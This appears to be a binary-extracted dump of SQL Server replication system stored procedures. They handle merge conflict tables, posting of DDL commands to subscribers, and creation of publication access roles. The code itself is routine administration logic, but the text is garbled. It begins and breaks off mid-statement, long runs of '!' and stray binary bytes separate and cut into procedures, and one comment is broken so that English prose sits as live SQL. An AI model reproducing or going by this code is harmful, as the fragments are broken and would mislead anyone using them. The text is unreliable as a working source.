            reason_code              int NULL,
            reason_text              nvarchar(720)         NULL,
            pubid                    uniqueidentifier    NULL,
            MSrepl_create_time       datetime not null default getdate(),
            origin_datasource_id     uniqueidentifier    NULL
        )
        if @@ERROR <> 0    
            goto Error

        create clustered index uc1MSmerge_conflicts_info on MSmerge_conflicts_info(tablenick, rowguid) 
        if @@ERROR <> 0    
            goto Error

        CREATE UNIQUE NONCLUSTERED INDEX nc1MSmerge_conflicts_info 
            ON MSmerge_conflicts_info(tablenick, rowguid, origin_datasource, conflict_type)
        if @@ERROR <> 0    
            goto Error

        exec dbo.sp_MS_marksystemobject MSmerge_conflicts_info
        if @@ERROR <> 0    
            goto Error
    end
        
    if object_id('dbo.MSmerge_metadataaction_request', 'U') is null
    begin
        create table dbo.MSmerge_metadataaction_request
        (
            tablenick int not null,
            rowguid uniqueidentifier not null,
            action tinyint not null,
            generation bigint null, -- for hws cleanup
            changed int null -- for lws cleanup
        )
        if @@ERROR <> 0    goto Error

        create clustered index ucMSmerge_metadataaction_request on MSmerge_metadataaction_request(tablenick, rowguid) 
        if @@ERROR <> 0    goto Error

        exec dbo.sp_MS_marksystemobject MSmerge_metadataaction_request
        if @@ERROR <> 0    goto Error
    end
    
    if object_id('MSmerge_errorlineage') is NULL
    begin        
        --raiserror('Creating table MSmerge_errorlineage',0,1)
        
        create table dbo.MSmerge_errorlineage (
            tablenick        int NOT NULL,
            rowguid            uniqueidentifier NOT NULL,
            lineage            varbinary(311) null
        )
        if @@ERROR <> 0 goto Error

        EXEC dbo.sp_MS_marksystemobject MSmerge_errorlineage
        if @@ERROR <> 0 goto Error
        create unique clustered index uc1errorlineage on MSmerge_errorlineage(tablenick, rowguid)
        if @@ERROR <> 0 goto Error
    end
    
    return 0
    
Error:
    return 1
sdb.dbo.sysjobsteps s where 
                j.job_id = s.job_id and
                j.category_id = 12 and
                s.database_name = @database collate database_default
            SELECT @command =  'EXEC dbo.sp_MShistory_cleanup @history_retention = ' + 
                CONVERT(nvarchar(12), @new_history_retention)
            EXEC @retcode = msdb.dbo.sp_update_jobstep @job_name = @agentname, @step_id = 1, 
                @command = @command
            IF @@error <> 0 OR @retcode <> 0
               RETURN(1)

        END

    /*
    ** Return succeed.
    */
    RAISERROR (14105, 10, -1, @property)
    RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n`<(b!%QvI--
-- Name: sp_MSbuild_single_post
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		post single commands of drop fk/un/chk/df/column
--		base on article partition
--
--		before dropping column at subscriber, check and drop all column level default 
--		if not included in original DDL cmd
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSbuild_single_post
(
@objid int
,@tran_artid int
,@tran_pub_options int = NULL
,@qual_dest_object nvarchar(1000)  -- owner qualified destination table name
,@qual_p2p_conflict_table nvarchar(1000) = NULL -- owner qualified conflict table name
,@checkpartition_mask int = 0
,@checkadds_mask int = 0
,@subtype_dropcolumn int = 0
,@subtype_dropconstraint int = 0
,@subtype_enabletrigger int = 0
,@subtype_disabletrigger int = 0
,@subtype_enableconstraint int = 0
,@subtype_disableconstraint int = 0
,@subtype_addfk int = 0
,@subtype_altercolumn int = 0
,@drop_defaults_only bit = 0
,@dest_owner nvarchar(1000) = null
,@debug_print bit = 0		
)
as
begin 
		declare @retcode int
					,@colname nvarchar(1000)
					,@subtype int
					,@dropcolumn_list nvarchar(max) = N''
					,@dropconstraint_list nvarchar(max) = N''
					,@check_nocheck nvarchar(1000)
					,@reftable nvarchar(1000)
					,@refcollist nvarchar(max)
					,@refcolcount int
					,@stmt nvarchar(max)
					,@stmtend nvarchar(1000)
					,@ddlcmds nvarchar(max) = N''
					,@alterp2pctcmd nvarchar(max) = NULL
					,@column_id int
					,@count_dropcnst int = 0
					,@qual_colname nvarchar(1000)
					,@p2p_cd_option int = 0x8

--get the list of columns and list of constraint being dropped in this DDL
	if @debug_print = 1
				select 'stage' = 'sp_MSbuild_single_post:enter'
						,'@checkpartition_mask' = @checkpartition_mask
						,'@objid' = @objid
						,* from #tran_altertable 

	begin tran sp_MSbuild_single_post
	save tran sp_MSbuild_single_post

--step1: drop default constraint before dropping a column, 
--in case the default is created only on subscriber

		--build a list of column name being dropped
		--build a list of constraint name being dropped
		DECLARE #listcursor CURSOR LOCAL FAST_FORWARD for
			select quotename(ColumnName, ''''), EnumType from #tran_altertable 
				where EnumType in (@subtype_dropcolumn, @subtype_dropconstraint)
			
		open #listcursor
		fetch #listcursor into @colname, @subtype
		while @@fetch_status <> -1
		begin
			if(@subtype = @subtype_dropcolumn)
				select @dropcolumn_list = @dropcolumn_list + @colname + N','
			else if (@subtype = @subtype_dropconstraint)
			begin
				select @dropconstraint_list = @dropconstraint_list + @colname + N','
				select @count_dropcnst = @count_dropcnst + 1
			end
			fetch #listcursor into @colname, @subtype
		end
		close #listcursor
		deallocate #listcursor
	
		--remove trailing ',' when applicable
		if len(@dropconstraint_list) > 1 
			select @dropconstraint_list = left(@dropconstraint_list, len(@dropconstraint_list) - 1)

		if len(@dropcolumn_list) > 1 
		begin
			select @dropcolumn_list = left(@dropcolumn_list, len(@dropcolumn_list) - 1)

			--build script to drop default constraints for columns being dropped here
			--only for the ones who's not being dropped explicitly here, use pre-yukon syntax 
			--to cover downlevel subs 
			select @ddlcmds = N' 
				declare @colname nvarchar(1000)
				DECLARE #testcursor CURSOR LOCAL FAST_FORWARD for
					select quotename(object_name(cdefault)) from syscolumns
						where id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) + N''') and 
							cdefault is not null and cdefault > 0 and name in 
							(' + @dropcolumn_list + N')'
							+ case len(@dropconstraint_list)
								when 0 then N''
								else N' and object_name(cdefault) not in (' + @dropconstraint_list + N')'
							end	+ N'
				
				open #testcursor
				fetch #testcursor into @colname
				while @@fetch_status <> -1
				begin
					exec (''alter table ' + sys.fn_replreplacesinglequote(@qual_dest_object) + N' drop constraint '' + @colname)
					fetch #testcursor into @colname
				end
				close #testcursor
				deallocate #testcursor 
				 '
			exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
														,@mode = 0
						  								,@ddlcmd = @ddlcmds

			if @retcode <>0 or @@ERROR<>0
				goto FAILURE
		end
		if (@drop_defaults_only = 1)
			goto FINISHED

--step2: drop constraints, to deal with self-referencing fk/un, fk needs to be dropped before un
		--no need to special case unless we are dropping at least two constraints
		if @count_dropcnst > 1 
		begin

			--build script to drop fk before dropping other constraints (including un)
			--only for the ones wo's  being dropped explicitly here, use pre-yukon syntax 
			--to cover downlevel subs 
			select @ddlcmds = N' 
				DECLARE @cnst_name sysname
				DECLARE #cnst CURSOR LOCAL FAST_FORWARD for       
				select quotename(object_name(constid)) from sysconstraints 
				where id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) + N''') and 
						objectproperty(constid, ''IsForeignKey'') = 1 
						and object_name(constid) in 
						(' + @dropconstraint_list + N')  
				open #cnst      
				fetch #cnst into @cnst_name      
				while @@fetch_status <> -1      
				begin       
					exec (''ALTER TABLE ' + sys.fn_replreplacesinglequote(@qual_dest_object) + N' DROP CONSTRAINT '' + @cnst_name)
					fetch #cnst into @cnst_name      
				end      
				close #cnst      
				deallocate #cnst        
				DECLARE #cnst CURSOR LOCAL FAST_FORWARD for       
				select quotename(object_name(constid)) from sysconstraints 
				where id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) + N''') and
					objectproperty(constid, ''IsForeignKey'') = 0 
					and object_name(constid) in 
					(' + @dropconstraint_list + N')  
				open #cnst      
				fetch #cnst into @cnst_name      
				while @@fetch_status <> -1      
				begin       
					exec (''ALTER TABLE ' + sys.fn_replreplacesinglequote(@qual_dest_object) + N' DROP CONSTRAINT '' + @cnst_name)
					fetch #cnst into @cnst_name      
				end      
				close #cnst      
				deallocate #cnst        
				DECLARE #cnst CURSOR LOCAL FAST_FORWARD for       
				select quotename(name) from sysindexes 
				where id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) + N''') 
					and name in (' + @dropconstraint_list + N')  
				open #cnst      
				fetch #cnst into @cnst_name      
				while @@fetch_status <> -1      
				begin       
					exec (''DROP INDEX ' + sys.fn_replreplacesinglequote(@qual_dest_object) + N'.'' + @cnst_name)
					fetch #cnst into @cnst_name      
				end      
				close #cnst      
				deallocate #cnst        
				'
			exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
														,@mode = 0
						  								,@ddlcmd = @ddlcmds

			if @retcode <>0 or @@ERROR<>0
				goto FAILURE
		end
--step3: enable/disable constraints, add/drop/alter columns, add constraints

		DECLARE #listcursor CURSOR LOCAL FAST_FORWARD for
			--
			--for enable/disable constraints, only post the ones where all base columns are in partition
			--in theory the constraint with out-of-partition base columns should not have been replicated by us
			--if user messes with it so that pub/sub has different constraints with the same name 
			--and expect enable/disable to work, it may or may not work, but entirely out of our control.
			--
			--for addun/fk/chk/df, only in partition ones should be posted
			--
			select distinct ColumnName, EnumType, check_nocheck, stmt, reftable, refcollist, refcolcount, stmtend, column_id
				from #tran_altertable 
				where (((EnumType & @checkpartition_mask) > 0
							or  --!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	b!
I need to check partition if adding computed column
							ColumnName in (select name from sys.computed_columns where object_id = @objid))
							and inpartition = 1 )
							or 
			--
			--for drop column, dropconstraint, enabletrigger, disabletrigger,
			--we really don't know whether the base is in partition or not, so don't bother to check
			--
			--for add/alter column no need to check partition neither, out of partition alter won't get here
			--
							((EnumType & @checkpartition_mask) = 0
							and ColumnName not in (select name from sys.computed_columns where object_id = @objid))

			order by EnumType, column_id 
			
		open #listcursor
		fetch #listcursor into @colname, @subtype, @check_nocheck, @stmt, @reftable, @refcollist, @refcolcount, @stmtend, @column_id
		while @@fetch_status <> -1
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSbuild_single_post:cur'
						,'@ddlcmds' = @ddlcmds
						,'@colname' = @colname
						,'@subtype' = @subtype
						,'@check_nocheck' = @check_nocheck
						,'@stmt' = @stmt
						,'@reftable' = @reftable
						,'@refcollist' = @refcollist
						,'@refcolcount' = @refcolcount
						,'@stmtend' = @stmtend
						
			set @qual_colname = case len(isnull(@dest_owner, N'')) when 0 then N''
																						else quotename(@dest_owner) + N'.' 
																						end
												+ quotename(@colname) 

			--when dropping column
			if (@subtype = @subtype_dropcolumn)
			begin
				select @ddlcmds = N'if exists (select * from syscolumns where id = object_id(N''' 
								+ sys.fn_replreplacesinglequote(@qual_dest_object) + ''') and name = N'
								+ quotename (@colname, '''')+ N') ALTER TABLE ' 
								+ @qual_dest_object 
								+ N' DROP COLUMN ' 
								+ quotename(@colname)

				if((@tran_pub_options  is not null) and (@tran_pub_options & @p2p_cd_option) = @p2p_cd_option) and (@qual_p2p_conflict_table is not null)
				begin
					set @alterp2pctcmd  = N'ALTER TABLE ' 
								+ @qual_p2p_conflict_table 
								+ N' DROP COLUMN ' 
								+ quotename(@colname);
					exec(@alterp2pctcmd);
				end
			end
			else if (@subtype = @subtype_addfk)
			begin
				select @ddlcmds = N'if exists (select si.indid from syscolumns sc '
											+ N'join sysindexes si on sc.id = si.id '
											+ N'join sysindexkeys sik on sik.id = sc.id and sik.indid = si.indid and sik.colid = sc.colid '
											+ N'where sc.id = object_id(N'''
											+ sys.fn_replreplacesinglequote(isnull(@reftable, @qual_dest_object)) 
											+ N''') and sc.name in ('
											+ @refcollist 
											+') and si.status & 2 = 2 group by si.indid having count(*) = '
											+ cast (@refcolcount as nvarchar(12))
											+N') ALTER TABLE ' 
											+ @qual_dest_object + N' ' + @check_nocheck
											+ N' ADD '
											+ @stmt + isnull(@reftable, @qual_dest_object) + @stmtend
			end			
			else if (@subtype & @checkadds_mask > 0)
			begin
				select @ddlcmds = case @subtype when @subtype_altercolumn then N'if exists (select * from syscolumns where id = object_id(N''' 
													+ sys.fn_replreplacesinglequote(@qual_dest_object) + ''') and name = N'
													+ quotename (@colname, '''')+ N') '
												else N'' end 

								+ N'ALTER TABLE ' 
								+ @qual_dest_object + N' ' + @check_nocheck
								+ case @subtype when @subtype_altercolumn then N' ALTER COLUMN '
																	else N' ADD '
																	end
							+ @stmt

				if((@tran_pub_options  is not null) and (@tran_pub_options & @p2p_cd_option) = @p2p_cd_option) and (@qual_p2p_conflict_table is not null)
				begin
					set @alterp2pctcmd  = N'ALTER TABLE ' 
								+ @qual_p2p_conflict_table + N' ' + @check_nocheck
								+ case @subtype when @subtype_altercolumn then N' ALTER COLUMN '
																	else N' ADD '
																	end
							+ quotename(@colname) 
							+ N' ' 
							+ sys.fn_gettypestring(@objid,@column_id,1, 0, 0, 0, 1, 0, 0, 0, 0) 
							+ N' NULL' 

					exec(@alterp2pctcmd)
				end					
			end			
			else if (@subtype = @subtype_dropconstraint)
			begin 
				--if we are dropping at least two consts, then step2 above should have handled it already
				if @count_dropcnst > 1 
					goto MORECNST;
				--slight optmization for dropping of one constraint
				else
					select @ddlcmds = N'if object_id(N''' 
								+ sys.fn_replreplacesinglequote(@qual_colname)+ N''') is not null ALTER TABLE ' 
								+ @qual_dest_object 
								+ N' DROP CONSTRAINT ' 
								+ quotename(@colname)
								+ N' else if exists(select * from sysindexes where id = object_id(N'''
								+ sys.fn_replreplacesinglequote(@qual_dest_object)  + N''') and name = N''' 
								+ sys.fn_replreplacesinglequote(@colname)+ N''') '
								+ N' DROP INDEX '
								+ @qual_dest_object  
								+ N'.'
								+ quotename(@colname)
					
			end
			else
			begin 
				select @ddlcmds = N'if object_id(N''' 
								+ sys.fn_replreplacesinglequote(@qual_colname)+ N''') is not null ALTER TABLE ' 
								+ @qual_dest_object 
								+ case @subtype when @subtype_enabletrigger then N' ENABLE TRIGGER ' 
															when @subtype_disabletrigger then N' DISABLE TRIGGER '
															when @subtype_enableconstraint then N' CHECK CONSTRAINT ' 
															when @subtype_disableconstraint then N' NOCHECK CONSTRAINT ' 
									end
								+ quotename(@colname)
			end
			if @debug_print = 1
				select 'stage' = 'sp_MSbuild_single_post:building'
						,'@ddlcmds' = @ddlcmds

			exec @retcode = sys.sp_MStran_autoproc @artid = @tran_artid
													,@mode = 0
					  								,@ddlcmd = @ddlcmds
	
			if @retcode <>0 or @@ERROR<>0
				goto DROPTRAN

	MORECNST:
				
			fetch #listcursor into @colname, @subtype, @check_nocheck, @stmt, @reftable, @refcollist, @refcolcount, @stmtend, @column_id
		end
		close #listcursor
		deallocate #listcursor

FINISHED:					
	commit tran sp_MSbuild_single_post
	if @debug_print = 1
		select 'stage' = 'sp_MSbuild_single_post:final'
					, '@ddlcmds' = @ddlcmds
	return 0

DROPTRAN:
	close #listcursor
	deallocate #listcursor

FAILURE:
	rollback tran sp_MSbuild_single_post
	commit 
	return 1 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<$N3S0b 8CREATE PROCEDURE sys.sp_MSrepl_FixPALRole (@pubid uniqueidentifier, @role sysname output)
AS
    declare @retcode int
    declare @quotedrole sysname
    declare @pubidstr nvarchar(36)
    declare @publication sysname
    declare @publisher_db sysname
    			,@publishingservername sysname

    -- security check
    exec @retcode = sys.sp_MSreplcheck_publish
    if (@retcode <> 0 or @@error <> 0)
        return 1

    exec sys.sp_MSguidtostr @pubid, @pubidstr output
    set @role = 'MSmerge_' + @pubidstr

    exec @retcode = sys.sp_MSgetFixPALRoleAppLock
    if (@retcode <>0 or @@error <>0)
        return 1
    
    -- Add a database role which represents the users who have access to this publication
    -- do this fix up only if the role does not already exist. Assuming that if the role
    -- exists all is well and nothing needs to be done.    
    if exists (select * from sys.database_principals where name=@role and type = 'R')
    begin
        -- check for the db wide pal role first
        if not exists (select * from sys.database_principals where name='MSmerge_PAL_role' and type = 'R')
        begin
                create role MSmerge_PAL_role
                if @@error <> 0 
                    goto FAILURE1
        end
    
        -- check if this role is there in the db wide pal role. 
        if not exists (select 1 from sys.database_role_members r
                            inner join sys.database_principals ur on r.role_principal_id = ur.principal_id
                            inner join sys.database_principals uu on r.member_principal_id = uu.principal_id
                        where ur.name = 'MSmerge_PAL_role'
                        and uu.name = @role)
        begin
            exec @retcode = dbo.sp_addrolemember 'MSmerge_PAL_role', @role
            if (@retcode <> 0 or @@error <> 0)
                goto FAILURE1
        end
        
        if object_id('MSmerge_upgrade_in_progress', 'U') is NULL
            goto SUCCESS
    end

    -- check for the db wide pal role first
    if not exists (select * from sys.database_principals where name='MSmerge_PAL_role' and type = 'R')
    begin
        create role MSmerge_PAL_role
        if @@error <> 0
            goto FAILURE1
    end
        
    -- verify that there is a publication in the current db with this pubid
    select @publisher_db = db_name()
    select @publication = name from dbo.sysmergepublications where pubid = @pubid
    if (@publication is NULL)
    begin    
         RAISERROR (21073, 16, -1)
         goto FAILURE1
    end
    
    if not exists (select * from sys.database_principals where name=@role and type = 'R')
    begin
        DECLARE @createrole nvarchar(200)
        select @createrole = 'create role ' + @role
        exec @retcode = sys.sp_executesql @createrole
        if (@retcode <> 0 or @@error <> 0)
	    goto FAILURE1          
    end

    -- add the publication pal role to the database wide pal role
    exec @retcode = dbo.sp_addrolemember 'MSmerge_PAL_role', @role
    if (@retcode <> 0 or @@error <> 0)
        goto FAILURE
    
    exec @retcode = sys.sp_MSrepl_GrantSelectOnMergeSystemTables @pubid, @role
    if (@retcode <> 0 or @@error <> 0)
        goto FAILURE1

    -- check if there are any users already been granted access to on the
    -- distributor for this publication
    declare @rpcsrvname sysname
    declare @distribdb sysname
    declare @distproc nvarchar(300)
    declare @login sysname
    declare @user sysname
    
    exec @retcode = dbo.sp_MSrepl_getdistributorinfo @rpcsrvname = @rpcsrvname OUTPUT, @distribdb = @distribdb OUTPUT
    IF ((@retcode <> 0) or (@@error <> 0) OR (@distribdb IS NULL) OR (@rpcsrvname IS NULL))
    BEGIN
        RAISERROR (14071, 16, -1)
        goto FAILURE1
    END

    -- using a temp table because of the following error
    -- EXECUTE cannot be used as a source when inserting into a table variable.
    create table #logins_table (login sysname)
    
    SELECT @distproc = QUOTENAME(RTRIM(@rpcsrvname)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSenumerate_PAL'
				,@publishingservername = publishingservername()
    insert into #logins_table exec @distproc 
            @publisher = @publishingservername, 
            @publisher_db = @publisher_db, 
            @publication = @publication
    if @@error <> 0
        goto FAILURE1
        
    declare logins_cursor cursor LOCAL FAST_FORWARD
    for select login from #logins_table
    open logins_cursor
    fetch logins_cursor into @login
    while (@@fetch_status <> -1)
    begin
        select @user = NULL
        select @user = name from sys.database_principals u where u.sid = suser_sid(@login, 0) and u.name <> 'dbo' and
        	exists (select * from sys.database_permissions p where
        		p.class = 0 and p.major_id = 0 and p.minor_id = 0 and p.grantee_principal_id = u.principal_id and
        		p.type = 'CO' and p.state in ('G','W')) and
        	not exists (select * from sys.database_permissions p where
        		p.class = 0 and p.major_id = 0 and p.minor_id = 0 and p.grantee_principal_id = u.principal_id and
        		p.type = 'CO' and p.state = 'D') -- connect permission not denied
        if @user is not NULL
        begin
            exec @retcode = dbo.sp_addrolemember @role, @user
            if (@retcode <> 0 or @@error <> 0)
                goto FAILURE

            exec @retcode = sys.sp_MSgrantconnectreplication @user
            if (@retcode <> 0 or @@error <> 0)
                return 1
            
        end
        fetch logins_cursor into @login
    end
    close logins_cursor
    deallocate logins_cursor

    drop table #logins_table
 SUCCESS:
    exec sys.sp_MSreleaseFixPALRoleAppLock
    return 0
    
FAILURE:
    close logins_cursor
    deallocate logins_cursor
    drop table #logins_table

FAILURE1:
    exec sys.sp_MSreleaseFixPALRoleAppLock
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`"<	_Mk,0节 8CREATE PROCEDURE sys.sp_MSrepl_FixTranPALRole 
(
    @pubid int
    ,@publication sysname 
    ,@publisher_type sysname
    ,@publisher sysname
    ,@role sysname output
    ,@reserved bit = 0 -- 1 = repair
)
AS
BEGIN
    set nocount on
    declare @retcode int
                ,@publisher_db sysname
                ,@dbwiderole sysname
                ,@rpcsrvname sysname
                ,@distribdb sysname
                ,@distproc nvarchar(300)
                ,@login sysname
                ,@user sysname


     declare @createrole nvarchar(200)

    --
    -- initialize
    --
    select @role = N'MSReplPAL_' + cast(db_id() as nvarchar(10)) + N'_' + cast(@pubid as nvarchar(10))
            ,@dbwiderole = 'MStran_PAL_role'
    --
    -- check for the db wide pal role first
    --
    if not exists (select * from sys.database_principals where name=@dbwiderole and type = 'R')
    begin
        select @createrole = 'CREATE ROLE ' + @dbwiderole
        exec @retcode = sys.sp_executesql @createrole
        if (@retcode <> 0 or @@error <> 0)
            return 1
    end
    --
    -- create the role as needed
    --
    if exists (select * from sys.database_principals where name=@role and type = 'R')
    begin
        --
        -- check if this role is there in the db wide pal role. 
        --
        if not exists (select 1 from sys.database_role_members r
                            inner join sys.database_principals ur on r.role_principal_id = ur.principal_id
                            inner join sys.database_principals uu on r.member_principal_id = uu.principal_id
                            where ur.name = @dbwiderole
                            and uu.name = @role)
        begin
            exec @retcode = dbo.sp_addrolemember @dbwiderole, @role
            if (@retcode <> 0 or @@error <> 0)
                return 1
        end
    end -- role exists
    else
    begin -- role does not exist
        --
        -- create a new role
        --
        select @createrole = 'CREATE ROLE ' + @role
        exec @retcode = sys.sp_executesql @createrole        
        if (@retcode <> 0 or @@error <> 0)
            return 1
        --
        -- add it to the dbwide role
        --
        exec @retcode = dbo.sp_addrolemember @dbwiderole, @role
        if (@retcode <> 0 or @@error <> 0)
            return 1
        --
        -- Skip this unless we are fixing this role
        --
        if (@reserved = 1)
        begin
            --
            -- check if there are any users already been granted access to on the
            -- distributor for this publication
            -- using a temp table because of the following error
            -- EXECUTE cannot be used as a source when inserting into a table variable.
            --
            create table #logins_table (login sysname)

            exec @retcode = dbo.sp_MSrepl_getdistributorinfo @publisher = @publisher, @rpcsrvname = @rpcsrvname OUTPUT, @distribdb = @distribdb OUTPUT
            IF ((@retcode <> 0) or (@@error <> 0) OR (@distribdb IS NULL) OR (@rpcsrvname IS NULL))
            BEGIN
                RAISERROR (14071, 16, -1)
                return(1)
            END

            select @publisher_db = case when (@publisher_type = N'MSSQLSERVER') then db_name() else @distribdb end

            select @distproc = QUOTENAME(RTRIM(@rpcsrvname)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSenumerate_PAL'
            insert into #logins_table exec @distproc 
                    @publisher = @publisher, 
                    @publisher_db = @publisher_db, 
                    @publication = @publication
            if @@error <> 0
                return 1
                
            declare #logins_cursor cursor LOCAL FAST_FORWARD for
                select login from #logins_table
                
            open #logins_cursor
            fetch #logins_cursor into @login
            while (@@fetch_status <> -1)
            begin
                select @user = NULL
                select @user = name from sys.database_principals u
                where u.sid = suser_sid(@login, 0) and u.name <> N'dbo' 
                    and
                        exists (select * from sys.database_permissions p 
                                where p.class = 0 and p.major_id = 0 
                                    and p.minor_id = 0 and p.grantee_principal_id = u.principal_id 
                                    and p.type = 'CO' and p.state in ('G','W')) 
                                    and not exists (select * from sys.database_permissions p 
                                                where p.class = 0 and p.major_id = 0 
                                                    and p.minor_id = 0 
                                                    and p.grantee_principal_id = u.principal_id 
                                                    and p.type = 'CO' and p.state = 'D') -- connect permission not denied
                if @user is not NULL
                begin
                    exec @retcode = dbo.sp_addrolemember @role, @user
                    if (@retcode <> 0 or @@error <> 0)
                        return 1
                end
                fetch #logins_cursor into @login
            end
            close #logins_cursor
            deallocate #logins_cursor
        end -- if (@reserved = 1)
        
    end -- role does not exist
    --
    -- all done
    --
    return 0
END    
